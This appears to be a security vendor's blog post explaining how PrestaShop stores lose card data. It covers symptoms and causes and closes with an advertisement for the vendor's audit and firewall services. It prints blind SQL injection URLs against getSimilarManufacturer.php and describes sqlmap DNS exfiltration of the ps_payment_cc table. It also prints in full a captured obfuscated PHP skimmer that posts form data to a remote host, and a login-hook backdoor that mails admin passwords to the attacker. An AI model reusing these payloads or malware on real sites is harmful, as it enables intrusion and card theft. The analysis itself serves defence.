Credit Card Details Stolen from PrestaShop Store. How to fix Credit Card Malware Hack in PrestaShop?

Online transactions have definitely added to the ease of doing business. But with this ease comes the responsibility of security. E-commerce stores running with Prestashop contain a lot of sensitive info. This includes the user’s credit card details. Therefore this data makes it a ripe target for attackers. Prestashop credit card hijack is one rise because of the popularity of this e-commerce solution. It can be accredited to its ease of setup and maintenance. According to the book PrestaShop 1.5 Beginner’s Guide,

If you want to start your e-commerce business but are not so much of a technical person, then PrestaShop could be your solution. Because it is an easy, open source, and free-for-use software that helps sell your products over the Internet. PrestaShop is a live software, due for an open source license. There is a big community developing new features and fixing bugs very fast.

Prestashop Credit Card Hijack: Symptoms

Prestashop credit card hijack can be conducted in multiple ways. It could be a malicious script on the server or lines of Javascript. Often it can be an SQL injection or a phishing page. So this diversity of possibility makes it hard to detect. However, a few signs can give way an attack:

• Previously unknown database tables like Sqlmap appear.
• Unknown admin accounts appear on the dashboard.
• Customer’s credit card stolen
• Logins to the dashboard from unknown IPs.
• New unknown pages appear on the site.
• Site redirects to unknown domains.
• Wireshark packet analysis shows data going out to fishy domains.
• Users complain about payment related problems.
• Server logs show brute force or SQL injection attempts.

Credit card details getting stolen from your Prestashop store?. Drop us a message on the chat widget. We’d be happy to help you. Fix my Prestashop website now.

Prestashop Credit Card Hijack: Causes

SQL Injection in Prestashop

An SQL injection can compromise the database of your Prestashop store. The prime cause of an SQLi is lack of input sanitization. The developers often do not deploy safe coding practices. As a result, vulnerabilities like SQLi and XSS occur in the code. A zero-day SQLi exploit for Prestashop was published in 2014. The component vulnerable was theid_manifacturer. The complete URL is given below.

In the following URL, the statements could be injected after id_manufacturer. Further, this was a kind of Blind SQLi. So basically data could be extracted in the boolean format only. At times the developers suppress the internal errors. This is done to avoid the attackers from discovering vulnerabilities. However, if the server is still executing statements then data can be extracted in boolean format. This is the case of a blind SQLi. Although, to read the contents of the database multiple requests need to be made. This makes manual exploitation time-consuming. To check for blind SQLi.

http://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1

Firstly see if this statement executes to true. Secondly, the statement where=3 and 1=2 executes to false. Then this is the definitely the case of a blind SQLi. However, at times it could be a time based blind SQLi. In that situation, the server gives the boolean feedback after a certain time. For instance.

http://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)

Here the user would have to wait for 10 seconds. Afterward, the server sends the true or false response based on the query.

Automatic Exploitation

Exploiting it may look a painstaking task. But there are automation tools available. Sqlmap can exploit it for the attacker very easily. Afterward, the attacker can read the tableps_payment_cc. This table has the columnsid_order_payment,card_number,card_brand,card_expiration. Thereby stealing the complete saved card details. In case the table is large, the attacker can speed up the attack using DNS queries. As Sqlmap comes with an option--dns-domain=. Thus the attacker can exfiltrate the data using DNS queries instead of slow time-based output. However, the attacker must control the machine registered as a DNS server. Therefore it is important to keep a tab on the DNS queries going out of your server. However, it is advisable to not store user credit card info on the server. Unless the admins conduct regular Prestashop security audit and pentesting. Though, all this could have been avoided if the developers used prepared statements!

Prestashop Credit Card Malware

At times Credit card hack in Prestashop could be due to a malicious script on your site. The attackers first exploit the site using known techniques. Most of the time it is one of the OWASP’s top 10. Thereafter the malware is installed. This malware first connects to the database. From the database, it then steals credit card info. Which is usually contained in theps_payment_cc table.

Given above is a code snippet of a PrestaShop credit card hijacking script. Here the script is connecting to the database first. Thereafter, it steals credit card info from the database.

Let’s see one more credit card malware infecting the/vendor/composer/autoload_real.php file

class SiF
{
function __construct($conf)
{
$this->encrypt = FALSE;
$this->in = $_POST;
$this->test = isset($this->in['siftest']);
$conf = explode('SiF', str_rot13($conf));
if(count($conf)!=2)return;
$this->key = $conf[0];
$conf = explode('|', base64_decode($conf[1]));
$s = array_shift($conf);
$s = explode(';;', $s);
$this->conf = array();
foreach($s AS $d)
{
$d = explode('::', $d);
if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]);
}
array_shift($conf);
$this->data = $conf;
$this->get();
if($this->test) $this->out('[sifok]');
} function get() { if($this->search($this->data[0])===FALSE) return; foreach($this->data AS $i => $v) { $v = $this->search($v); $this->data[$i] = $v===FALSE ? '' : $this->crypt($v); } $this->set(); } function set() { $data = implode('|', $this->data); $data = $this->crypt('SiF').'|'.$data; if(!$this->encrypt) $data = base64_encode($data); $data = $this->post_fgc($data); if($this->test) $this->out($data); } function get_fgc($data) { $url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data); if($this->test) $url .= '&test'; return file_get_contents($url); } function post_fgc($data) { $data = array($this->conf['param'] => $data); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); return file_get_contents($this->conf['url'], false, $context); } function search($key) { $f = $this->in; if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)) { foreach($a[1] AS $v) { if(is_array($f) && isset($f[$v])) $f = $f[$v]; else return FALSE; } return $f; } return FALSE; } function crypt($s) { if(function_exists('openssl_public_encrypt')) { $key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----"; if(@openssl_public_encrypt($s, $code, $key)) { $this->encrypt = TRUE; return base64_encode($code); } } return $s; } function out($s) { echo $s; exit; } } new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'

A malicious script is the second phase of the attack. As, in the first phase, some known vulnerabilities are exploited. After which credential stealer script is uploaded. Therefore, it is generally advised not to store data in the databases. For an E-commerce store, it is recommended to conduct a security audit and pentesting to look for all possible ways how a malware can be injected in your website.

Get the ultimate Prestashop security checklist with 300+ test parameters

Get the Checklist Now!

Phishing

Phishing can be used to conduct large-scale Prestashop Credit card hijack. The attacker basically creates fake login pages. The users may be unable to distinguish. Therefore they may reveal sensitive info leading to a Credit card hack in Prestashop. There are numerous ways these pages may have been created. Some of them are:

• XSS: The attacker used the XSS to load a malicious script from a malicious domain. This script overrode the contents of the original page. The page was replaced by a phishing login page. Thereafter the users submitted their info in those pages. The phishing page passed this info to the attacker-controlled domain.
• SQLi: The attacker may have obtained a reverse shell using SQL injection. Using this reverse shell, the attacker may have replaced original payment pages with phishing pages.
• FTP: The FTP port was opened to the internet. Thereafter the attacker may have obtained the login credentials. After which the phishing pages were created.
• Zero-day: The attacker may have obtained reverse shell due to a zero-day vulnerability. As the installation was outdated. Thereby creating fake payment pages. Thus leading to a Prestashop credit card hijack!

Weak Credentials

Weak credentials are a major reason behind Prestashop credit card hijack. A weak password can be broken using brute force attacks. Once the attacker has obtained the password, the dashboard is open. From here on some attackers apply a different approach. Instead of passively waiting and collecting signup info from the database. The attacker injects pages with code to send that info dynamically. For instance, a type of malware injects code into the file/controllers/admin/AdminLoginController.php. The malicious code typically looks like this.

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "[email protected]";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

Here the code in the first few lines is collecting all the variables. Thereafter the PHP function mails them to the attacker’s account. In this case, it was [email protected]. Here the various parameters sent are:

• To: This contains the email id of the attacker to which data is to be sent. In this case, it is[email protected].
• Subject: This contains the following message,panel admin prestashop www.infectedDomain.com.
• Header: The header part contains the message,hacked <[email protected]>.
• Message Part 1: This parameter contains all the sensitive info. These include the infected domain. In this casehttp://www.attackeddomain.com. Thereafter the URI which is/admins/ajax-tab.php?rand=1470989908670&up=hous. Followed by the email which is[email protected]. And finally the password. This could be any random string entered by the user. At last a random text which isby bajatax — sniper :v.
• Message Part 2: The second part of the message contains the local path of the infected file. In this case,/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php.

However post malware discovery, Google blocked the Gmail account of the attacker. Thereafter a new variant of this malware was seen. Which first checked if it is possible to send mail to the attacker. In case it wasn’t, then the details were saved to a local file titled uspas.txt. In the next step, the attacker can similarly obtain the credit card info as the users’ signup. This concluding a Prestashop Credit card hijack!

Prestashop Security Audit and Firewall

Astra Security Audit

In order to make your Prestashop store secure it is important to find the loopholes. These can be revealed only using a complete security audit. There are multiple solutions available in the market. Like the one that Astra provides.

The engagement with Astra will be providing the following services:

1. Known common vulnerabilities like SQLi, XSS, Spam etc and other 80+.
2. Vulnerability Assessment and Penetration Testing (VAPT)
3. It also detects price manipulation flaws. Moreover, it can find business logic errors too.
4. Static & Dynamic Code Analysis
5. Technical Assistance in Patching found Security Vulnerabilities
6. Collaborative Cloud Dashboard for Vulnerability Reporting
7. Access to our security tools/APIs
8. Web Security Best Practices Consultancy
9. Discovers Ports open to the internet.
10. Finds some known server misconfigurations.
11. Clickjacking detection.
12. Broken Authentication & Authorization.
13. Locates Privilege Escalation bugs.
14. Vulnerabilities in third-party plugins and much more.

The tests are highly customized and tailored as per the website and requirement.

Typical Scope of Security Testing:

1. Customer Web Application
2. Payment Handling & Integrations
3. Administration Portal
4. APIs and Web Services

Astra Firewall

A Prestashop firewall ensures blocks any unauthorized access to your Prestashop store. All the incoming traffic is scanned. Thereby the malicious requests are dropped. The Astra firewall scans for malware uploads. Any attempts to upload a Prestashop credit card hijack script is blocked. Astra also tracks the login activity. So if the dashboard is compromised, the user is notified. Apart from it, Astra ensures that installation is up to date. Thus, it gives round the clock protection to your store!

Tags: Payment hack in Prestashop, Prestashop credit card hack, prestashop security, Prestashop security audit, Prestashop security issues

Share this...

Facebook

Pinterest

Twitter

Linkedin